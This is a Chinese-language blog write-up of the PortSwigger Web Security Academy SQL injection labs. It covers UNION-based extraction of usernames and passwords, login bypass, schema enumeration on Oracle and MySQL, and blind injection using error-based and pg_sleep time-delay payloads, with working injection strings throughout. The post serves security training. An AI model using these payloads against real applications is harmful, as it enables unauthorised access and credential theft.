SQL注入的练兵场 今天药忘吃喽~ 2023-09-24 12:50 4阅读 0赞 **前言** > 突然发现BurpSuite练兵场这个系列,没玩过,本来不想再打这个SQL注入练习场,大概看了一下,还是有一些地方值得试试,花了一些时间搞定,算是巩固一下吧 ☕️练兵场地址:`https://portswigger.net/web-security` ☕️SQL注入:[SQL 注入备忘单][SQL] ### 目录 ### * 1、检索隐藏数据☕️ * 2、颠覆应用逻辑☕️ * 3、SQL 注入联合攻击☕️ * * 3.1、确定 SQL 注入联合攻击中所需的列数 * 3.2、查找具有有用数据类型的列 * 3.3、攻击检索感兴趣的数据 * 3.4、检索单个列中的多个值 * 4、检查数据库☕️ * * 4.1、查询数据库类型和版本 * 4.2、列出数据库的内容 * 5、盲目 SQL 注入漏洞☕️ * * 5.1、具有条件响应的盲 SQL 注入 * 5.2、具有条件错误的盲 SQL 注入 * 5.3、具有时间延迟的盲 SQL 注入 * 5.4、具有时间延迟和信息检索的盲式 SQL 注入 -------------------- # 1、检索隐藏数据☕️ # `目标:使应用程序显示显示发布与未发布的产品信息,还有任何类型的产品信息` 考虑一个显示不同类别产品的购物应用程序,当用户单击"礼品"类别时,其浏览器会请求以下 URL GET /filter?category=Gifts ![请添加图片描述][f4c992be779e465da6c7c8ba7f8c6a5b.png] 这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息 SELECT * FROM products WHERE category = 'Gifts' AND released = 1 该限制用于隐藏未发布的产品,对于未发布的产品,大概是released = 0 注释后面可能的限制条件 GET /filter?category=Gifts'-- ![请添加图片描述][7c56ff6f9f134cbabc9bec7c268db4a3.png] 注释限制条件后,出现了4个商品 设置`or 1=1`永真条件,可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别 GET /filter?category=Gifts' or 1=1-- ![请添加图片描述][69e4fe8bccc642f293eab37fab1b1a1e.png] # 2、颠覆应用逻辑☕️ # `目标:登录绕过,不用密码也能登录` 账号登录界面![请添加图片描述][9bdf38e5cc934369ad5a456fe7b5c8ce.png] 注释查询语句后面可能的密码限制条件 SELECT * FROM users WHERE username = 'administrator'--' AND password = '' 输入账号:`administrator'--`,密码随便 ![请添加图片描述][93c5a25b564248ef96d1e053b766d21f.png] # 3、SQL 注入联合攻击☕️ # ## 3.1、确定 SQL 注入联合攻击中所需的列数 ## 第一种方法涉及注入一系列子句并递增指定的列索引 ' ORDER BY 1-- ' ORDER BY 2-- 第二种方法涉及提交一系列有效负载,指定不同数量的 null 值 ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- 通过多次提交payload,确定列数为3列 Get /filter?category=Gifts' UNION SELECT NULL,NULL,NULL-- ![请添加图片描述][40012705fac7474496319ff1eef72ea5.png] ## 3.2、查找具有有用数据类型的列 ## 在确定了所需列的数量后,探测可用列 ' UNION SELECT 'a',NULL,NULL-- ' UNION SELECT NULL,'a',NULL-- ' UNION SELECT NULL,NULL,'a'-- 若位置不对便会报错 通过整形和字符串两种不同数据类型去判断可用的数据类型的列 Get /filter?category=Gifts' UNION SELECT NULL,'aaaa',NULL-- ![请添加图片描述][1dc7dab9d353457ba11c2d8d728988bf.png] ## 3.3、攻击检索感兴趣的数据 ## 已知数据库包含一个使用的表`users` ' UNION SELECT '12','21'-- SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'Users' 确定是字符型并且是两列,构造payload Get /filter?category=Gifts' UNION SELECT username,password from users-- ![请添加图片描述][95e0e9843e8a4d65aca7fa59bc3244b1.png] ## 3.4、检索单个列中的多个值 ## 假设查询仅返回单个列,通过将多个值连接在一起,可以轻松地在此单列中一起检索多个值 对Oracle数据库,可以提交输入 ' UNION SELECT username || '~' || password FROM users-- ![请添加图片描述][ee74afcd29db43918236d3af50065570.png] 这是使用双管序列,它是 Oracle 上的字符串串联运算符,注入的查询将字段的值连接在一起,以字符分隔 # 4、检查数据库☕️ # ## 4.1、查询数据库类型和版本 ## 用于确定某些常用数据库类型的数据库版本的查询如下所示 ![请添加图片描述][07666ad6091e4307b7f7f08bdfdf90d7.png] **(1)、已知查询数据库为Oracle,并利用Oracle的dual表做特定查询** '+UNION+SELECT+NULL,'12'+From+dual-- ![请添加图片描述][fe861c7f5fbb465bb8515d15e8c5010c.png] 确实查询返回两列,并且为字符型 根据Oracle数据库,利用查询数据库版本的语句 '+UNION+SELECT+BANNER,+NULL+FROM+v$version-- ![请添加图片描述][8649846a2dac40aeaeeec37e3a379e9c.png] **(2)、已知查询数据库为MySQL,查询版本信息** 首先判断返回的列数,注意,注释符选择`--+`或者`#` '+UNION+SELECT+'abc','def'# 确实列数为两列 根据数据库类型选择查询版本语句 '+UNION+SELECT+'111',@@version--+ ![请添加图片描述][a072706806bf437ebd460cf32ef45fe4.png] ## 4.2、列出数据库的内容 ## **(1)、列出非Oracle的数据库内容,找到用户账号密码** 大多数数据库类型(Oracle 除外)都有一组称为信息架构的视图,这些视图提供有关数据库的信息 ' UNION SELECT 'abc','def'-- 在确定列数和类型后 使用以下有效负载检索数据库中的表列表(非Oracle,可选择`--+`) ' UNION SELECT table_name,NULL FROM information_schema.tables-- ![请添加图片描述][b8c58d60ea6448e7b136370b94574040.png] 找到用户表,然后检索表中列的详细信息 '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_muduks'-- ![请添加图片描述][eade6bd6b1b84eb898695491df6259f1.png] 找到相应的字段,查看字段的值 ' UNION SELECT username_hgjwzm,password_nrnrfb FROM users_muduks-- ![请添加图片描述][c506cd0fbde747f9a8b63d9164df19f7.png] **(2)、列出Oracle的数据库内容,找到账号密码** 验证查询是否返回的列数,验证方式与其他数据库有点不一样 ' UNION SELECT 'abc','def' FROM dual-- 使用以下有效负载检索数据库中的列表 ' UNION SELECT table_name,NULL FROM all_tables-- ![请添加图片描述][3e8bdbe38e4549d8b7fa4b891b35866f.png] 检索表中列的详细信息 '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ODSVMN'-- ![请添加图片描述][a4cd7ac2020a4e399c30ff251bb71c06.png] 检索所有用户的用户名和密码 ' UNION SELECT USERNAME_IULGOY,PASSWORD_EOKMFZ FROM USERS_ODSVMN-- ![请添加图片描述][ce188621c4e7444db66b95564cb81343.png] # 5、盲目 SQL 注入漏洞☕️ # 许多SQL注入实例都是盲目的漏洞,这意味着应用程序不会返回 SQL 查询的结果或其响应中任何数据库错误的详细信息。盲目漏洞仍然可以被利用来访问未经授权的数据,但所涉及的技术通常更复杂且难以执行 ## 5.1、具有条件响应的盲 SQL 注入 ## 不返回 SQL 查询的结果,并且不显示任何错误消息,但是,如果查询返回任何行,应用程序将在页面中包含"欢迎回来"消息 访问商店的首页,拦截和修改包含Cookie的请求,如下是原始Cookie: `Cookie: session=z8DXgfIgCs9po6oagdtY8xs4PzgAiqn7; TrackingId=QvOTi61bx9OKEiJ6` 在Cookie后加上 TrackingId=QvOTi61bx9OKEiJ6' AND '1'='1 ![请添加图片描述][893ac0530ebe4a229860ce0b3d770b59.png] 验证响应中显示"欢迎回来"消息 更改输入值 TrackingId=QvOTi61bx9OKEiJ6' AND '1'='2 ![请添加图片描述][102d649bb5464ddc9c89de589eb6071a.png] 验证响应中未显示"欢迎回来"消息 现在将其更改为 TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users LIMIT 1)='a 验证条件是否为真,确认存在名为`users`的表 现在将其更改为 TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator')='a 验证条件是否为真,确认存在名为`administrator`的用户 下一步是确定用户的密码中有多少个字符 TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a 然后只要不断测试这个长度值即可,最后测试密码长度为20 下一步是在每个位置测试字符以确定其值 TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a 这里可以进行集束爆破,设置两个BP点,同时BP位置和字符 ![请添加图片描述][a35a090374804084bf40c5cd65a0e02e.png] 进行BP ![请添加图片描述][53aff99ef45e40ffa277b995314f811e.png] 组合密码即可 ## 5.2、具有条件错误的盲 SQL 注入 ## 不会返回 SQL 查询的结果,并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序将返回自定义错误消息 抓取请求包 ![请添加图片描述][f56b057dca8a43949c63e81b8bbad8f3.png] 通过测试Cookie的值判断是否存在注入 * `TrackingId=xyz'` 加单引号异常 * `TrackingId=xyz''` 加两个单引号正常,猜测进行SQL查询 现在需要确认服务器正在将注入解释为SQL查询,即错误是SQL语法错误,而不是任何其他类型的错误 * `TrackingId=haoouywlyIj9MWmk'||(SELECT '')||'` 异常,猜测需要指定表名 * `TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM dual)||'` 正常,猜测Oracle数据库 * `TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM not-a-real-table)||'` 异常,猜测不存在的表名 表明后端正在将注入作为 SQL 查询进行处理 验证可能存在的表 TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM users WHERE ROWNUM = 1)||' 注意,此处的条件对于防止查询返回多行非常重要,这会破坏我们的串联,WHERE ROWNUM = 1 确定该表存在用户名administrator * `TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'` 正常,gdd用户不存在,`SELECT ' '`不会产生异常 * `TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'` 正常,gdd用户不存在,`SELECT TO_CHAR(1/0)`不会产生异常 * `TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` 正常,administrator用户存在,`SELECT ' '`不会产生异常 * `TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` 异常,administrator用户存在,`SELECT TO_CHAR(1/0)`会产生异常 下一步是确定用户的密码中有多少个字符 TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' 因为确定administrator用户存在,如果`LENGTH(password)>1`成立,`to_char(1/0)`就会报错,网页显示错误,若`LENGTH(password)>n`错误,网页显示正常,密码长度就是n,确定长度为20位 然后对密码一位位进行爆破 TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' ## 5.3、具有时间延迟的盲 SQL 注入 ## 处理查询时,可能会导致数据库中的时间延迟 ![请添加图片描述][732400e1e51948e3818b7bdde22d11aa.png] 访问商店的首页,并拦截和修改包含Cookie的请求 TrackingId=XZMyVcav3Hry86KZ'||pg_sleep(10)-- ![请添加图片描述][b8f6d1445712474eaa81bd4356ec97a2.png] 提交请求并观察应用程序需要 10 秒才能响应 ## 5.4、具有时间延迟和信息检索的盲式 SQL 注入 ## 查询的执行会触发条件时间延迟来推断信息 访问商店的首页,并拦截和修改包含Cookie的请求,测试时间盲注 ![请添加图片描述][726612ca239144ecb6761fb7d0f58314.png] 接下继续使用case语句测试,符号`;`的URL编码后是`%3B`,执行完检查Cookie后,执行我们的SQL语句 * `TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--` 验证应用程序是否需要 10 秒才能响应。 * `TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--` 不超时 然后可以在`when`后构造payload,判断用户administrator存在 * `TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` 延时即存在 下一步是确定用户的密码中有多少个字符 * `TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` 确定密码的长度后,下一步是在每个位置测试字符以确定其值 * `TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` 执行该命令延时即说明是对的 -------------------- [SQL]: https://portswigger.net/web-security/sql-injection/cheat-sheet [f4c992be779e465da6c7c8ba7f8c6a5b.png]: https://img-blog.csdnimg.cn/f4c992be779e465da6c7c8ba7f8c6a5b.png [7c56ff6f9f134cbabc9bec7c268db4a3.png]: https://img-blog.csdnimg.cn/7c56ff6f9f134cbabc9bec7c268db4a3.png [69e4fe8bccc642f293eab37fab1b1a1e.png]: https://img-blog.csdnimg.cn/69e4fe8bccc642f293eab37fab1b1a1e.png [9bdf38e5cc934369ad5a456fe7b5c8ce.png]: https://img-blog.csdnimg.cn/9bdf38e5cc934369ad5a456fe7b5c8ce.png [93c5a25b564248ef96d1e053b766d21f.png]: https://img-blog.csdnimg.cn/93c5a25b564248ef96d1e053b766d21f.png [40012705fac7474496319ff1eef72ea5.png]: https://img-blog.csdnimg.cn/40012705fac7474496319ff1eef72ea5.png [1dc7dab9d353457ba11c2d8d728988bf.png]: https://img-blog.csdnimg.cn/1dc7dab9d353457ba11c2d8d728988bf.png [95e0e9843e8a4d65aca7fa59bc3244b1.png]: https://img-blog.csdnimg.cn/95e0e9843e8a4d65aca7fa59bc3244b1.png [ee74afcd29db43918236d3af50065570.png]: https://img-blog.csdnimg.cn/ee74afcd29db43918236d3af50065570.png [07666ad6091e4307b7f7f08bdfdf90d7.png]: https://img-blog.csdnimg.cn/07666ad6091e4307b7f7f08bdfdf90d7.png [fe861c7f5fbb465bb8515d15e8c5010c.png]: https://img-blog.csdnimg.cn/fe861c7f5fbb465bb8515d15e8c5010c.png [8649846a2dac40aeaeeec37e3a379e9c.png]: https://img-blog.csdnimg.cn/8649846a2dac40aeaeeec37e3a379e9c.png [a072706806bf437ebd460cf32ef45fe4.png]: https://img-blog.csdnimg.cn/a072706806bf437ebd460cf32ef45fe4.png [b8c58d60ea6448e7b136370b94574040.png]: https://img-blog.csdnimg.cn/b8c58d60ea6448e7b136370b94574040.png [eade6bd6b1b84eb898695491df6259f1.png]: https://img-blog.csdnimg.cn/eade6bd6b1b84eb898695491df6259f1.png [c506cd0fbde747f9a8b63d9164df19f7.png]: https://img-blog.csdnimg.cn/c506cd0fbde747f9a8b63d9164df19f7.png [3e8bdbe38e4549d8b7fa4b891b35866f.png]: https://img-blog.csdnimg.cn/3e8bdbe38e4549d8b7fa4b891b35866f.png [a4cd7ac2020a4e399c30ff251bb71c06.png]: https://img-blog.csdnimg.cn/a4cd7ac2020a4e399c30ff251bb71c06.png [ce188621c4e7444db66b95564cb81343.png]: https://img-blog.csdnimg.cn/ce188621c4e7444db66b95564cb81343.png [893ac0530ebe4a229860ce0b3d770b59.png]: https://img-blog.csdnimg.cn/893ac0530ebe4a229860ce0b3d770b59.png [102d649bb5464ddc9c89de589eb6071a.png]: https://img-blog.csdnimg.cn/102d649bb5464ddc9c89de589eb6071a.png [a35a090374804084bf40c5cd65a0e02e.png]: https://img-blog.csdnimg.cn/a35a090374804084bf40c5cd65a0e02e.png [53aff99ef45e40ffa277b995314f811e.png]: https://img-blog.csdnimg.cn/53aff99ef45e40ffa277b995314f811e.png [f56b057dca8a43949c63e81b8bbad8f3.png]: https://img-blog.csdnimg.cn/f56b057dca8a43949c63e81b8bbad8f3.png [732400e1e51948e3818b7bdde22d11aa.png]: https://img-blog.csdnimg.cn/732400e1e51948e3818b7bdde22d11aa.png [b8f6d1445712474eaa81bd4356ec97a2.png]: https://img-blog.csdnimg.cn/b8f6d1445712474eaa81bd4356ec97a2.png [726612ca239144ecb6761fb7d0f58314.png]: https://img-blog.csdnimg.cn/726612ca239144ecb6761fb7d0f58314.png
相关 SQL注入的练兵场 前言 > 突然发现BurpSuite练兵场这个系列,没玩过,本来不想再打这个SQL注入练习场,大概看了一下,还是有一些地方值得试试,花了一些时间搞定,算是巩固一下吧 ☕️练 今天药忘吃喽~/ 2023年09月24日 12:50/ 0 赞/ 5 阅读
相关 sql注入 [表单hhhhh][hhhhh] [tricks][] 今天发现了带外注入 out of band(OOB) [hhhhh]: https://www.netspark 柔情只为你懂/ 2022年12月13日 14:04/ 0 赞/ 198 阅读
相关 Sql注入 防止SQL注入 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过[正则表达式][Link 1],或限制长度;对单引号和双"-"进行转换等。 2 我就是我/ 2022年08月23日 12:51/ 0 赞/ 265 阅读
相关 SQL注入 基本概念: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序, 你的名字/ 2022年07月26日 11:15/ 0 赞/ 268 阅读
相关 SQL注入 SQL注入(SQL injection),是应用程序在数据库层的安全漏洞, 简而言之,在输入的字符串(web表单,输入域名或页面请求)中注入SQL语句,程序未设置对字符串的 朱雀/ 2022年07月20日 12:11/ 0 赞/ 320 阅读
相关 sql注入 所谓的sql注入就是当我们输入用户名和密码时用户输入了用户名+‘\,没有输入密码就直接连接数据库的操作 当我们开发人员进行编程时,如果将要发送的mysql语句用拼接的方式发送 电玩女神/ 2022年05月24日 03:43/ 0 赞/ 303 阅读
相关 sql注入与防止sql注入 数据库中的数据 ![70][] sql代码 package com.zjw.jdbc2; import java.sql.Connection; 超、凢脫俗/ 2022年05月10日 19:12/ 0 赞/ 430 阅读
相关 SQL注入 一、SQL注入概念 1、sql注入是一种将sql代码添加到输入参数中 2、传递到sql服务器解析并执行的一种攻击手法 举例:某个网站的用户名为name=‘ad 妖狐艹你老母/ 2022年01月29日 06:21/ 0 赞/ 378 阅读
相关 sql注入 sql注入说的是不知道数据库的用户名和密码的情况下进入数据库的方法 例如 select from users where username='username' 女爷i/ 2021年12月15日 23:37/ 0 赞/ 339 阅读
相关 sql注入 1、SQL注入 ![1541314-20190621144203912-2122568986.png][] ![1541314-20190621144231960-15 - 日理万妓/ 2021年12月11日 05:17/ 0 赞/ 439 阅读
还没有评论,来说两句吧...